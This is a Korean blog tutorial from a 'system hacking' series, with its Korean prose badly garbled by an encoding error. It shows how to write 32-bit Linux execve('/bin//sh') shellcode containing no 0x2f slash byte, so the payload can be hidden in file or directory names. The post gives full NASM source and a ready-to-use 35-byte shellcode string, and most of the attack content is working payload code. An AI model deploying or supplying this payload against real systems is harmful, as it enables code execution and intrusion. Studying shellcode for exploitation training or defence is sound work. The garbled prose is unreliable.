system hacking ๐Ÿ“ฑ/shellocde

shellcode (0x2f ์—†์• ๊ธฐ)

Kortsec1 2020. 12. 19. 20:51

์ง€๊ตฌ ํŒŒ๊ดด๋ฒ”.. ๋‹ค๋ฟŒ์…” ><

 

๊ฐ„ํ˜น๊ฐ€๋‹ค ๋””๋ ‰ํ„ฐ๋ฆฌ๋ช…/ํŒŒ์ผ๋ช…์— ์‰˜์ฝ”๋“œ๋ฅผ ๋„ฃ์–ด๋†“๊ณ  argv[0]๋‚˜ ์Šคํƒ์˜ ๋๋ถ€๋ถ„์„ ํ™œ์šฉํ•ด์•ผํ•˜๋Š” ์ƒํ™ฉ์ด ์žˆ์Šต๋‹ˆ๋‹ค.

์šฐ๋ฆฌ๊ฐ€ ๋งŒ๋“ค์–ด๋…ผ 25byte ์‰˜์ฝ”๋“œ๋กœ๋Š” ์‹คํ–‰์ด ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

์™œ ๊ทธ๋Ÿด๊นŒ์š”?

 

 

 

 

0x2f๋•Œ๋ฌธ์ธ๋ฐ์š”, 0x2f์€ /(์Šฌ๋ž˜์‰ฌ)๋กœ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ๊ตฌ๋ถ„ํ•˜๋Š”๋ฐ ์“ฐ์ด๋Š” ๋ฌธ์ž์ฃ 

๋ฌผ๋ก  ๊ธฐ์กด ์‰˜์ฝ”๋“œ์— ๋งž์ถ”์–ด์„œ ๋ถ„๋ฆฌ์‹œํ‚ค๋Š” ๋ฐฉ๋ฒ•๋„ ์žˆ๊ฒ ๋„ค์š”,,, ์ƒ๊ฐ๋งŒํ•ด๋„ ๊ท€์ฐฎ,,,

... 0x2f ... 0x2f ...

 

 

 

 

์ด๋ฒˆ ํฌ์ŠคํŒ…์—์„œ๋Š” 0x2f ์—†์ด ์ž‘๋™๋˜๋Š” ์‰˜์ฝ”๋“œ๋ฅผ ๋งŒ๋“ค์–ด๋ณผ๊นŒ ํ•ฉ๋‹ˆ๋‹ค.

 

<2f_1>

 

 

๋ฌธ์ž์—ด "/bin//sh"๋ฅผ ๋„˜๊ฒจ์ฃผ๋Š” ์ฝ”๋“œ์—์„œ 0x2f๊ฐ€ ํฌํ•จ๋˜๋„ค์š”.

 

๊ทธ๋Ÿผ 0x2f๋ถ€๋ถ„์„ 0x2e+1๋กœ ๋ฐ”๊พธ๋Š” ์‹์œผ๋กœ ์ฝ”๋”ฉ์„ ํ•ด ๋ด…์‹œ๋‹ค.

 

<2f_2>

 

eax ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ํ†ตํ•ด ์—ฐ์‚ฐ ์ˆ˜ํ–‰ ํ›„ ์Šคํƒ์— push ํ•ด์ค๋‹ˆ๋‹ค.

์ฝ”๋“œ๋Š” ์ž˜ ์‹คํ–‰ ๋ฉ๋‹ˆ๋‹ค.

 

 

์ •๋ง 0x2f๊ฐ€ ์—†์–ด์กŒ๋‚˜ ํ™•์ธํ•ด๋ด…์‹œ๋‹ค.

 

<2f_3>

 

๊ธฐ์กด์˜ 2f๊ฐ€ ์ „๋ถ€ ์—†์–ด์กŒ์Œ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

shellcode๋กœ ๋ฝ‘์•„๋‚ด๊ธฐ ์œ„ํ•ด null byte๋ฅผ ์ œ๊ฑฐํ•˜์—ฌ ์ตœ์ข… ์ฝ”๋“œ๋ฅผ ์™„์„ฑํ•ด ๋ณผ๊นŒ์š”

 

 

<2f_4>

 

<2fbinsh.asm>

BITS 32

global _start

section .text
_start:
        xor eax, eax
        push eax
        mov eax, 0x68732e2e
        add ax, 0x101
        push eax
        mov eax, 0x6e69622e
        add al, 1
        push eax
        mov ebx, esp
        xor eax, eax
        push eax
        mov edx, esp
        push ebx
        mov ecx, esp
        mov al, 11
        int 0x80

 

 

 

 

0x101์„ ๋”ํ•˜๋Š” ๋ถ€๋ถ„์—์„œ๋Š” ax๋ฅผ, 0x1์€ al์„ ์‚ฌ์šฉํ•˜์—ฌ ๋„๋ฐ”์ดํŠธ๋ฅผ ์ œ์–ดํ–ˆ์Šต๋‹ˆ๋‹ค.

 

shellcode ๋กœ ๋ฝ‘์•„๋‚ธ ๋’ค, ์‚ฌ์šฉํ•ด ๋ด…์‹œ๋‹ค.

 

<2f_5>

 

 

์ž˜ ์ ์šฉ ๋˜๋„ค์š”

์ด๋ ‡๊ฒŒ 0x2f์—†๋Š” ์‰˜์ฝ”๋“œ๋ฅผ ๋งŒ๋“ค์–ด ๋ณด์•˜์Šต๋‹ˆ๋‹ค.

shellcode len : 35
\x31\xc0\x50\xb8\x2e\x2e\x73\x68\x66\x05\x01\x01\x50\xb8\x2e\x62\x69\x6e\x04\x01\x50\x89\xe3\x31\xc0\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

'system hacking ๐Ÿ“ฑ > shellocde' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

shellcode (4)  (0) 2020.12.19
shellcode (3)  (0) 2020.12.18
shellcode (2)  (0) 2020.12.18
shellcode (1)  (0) 2020.12.17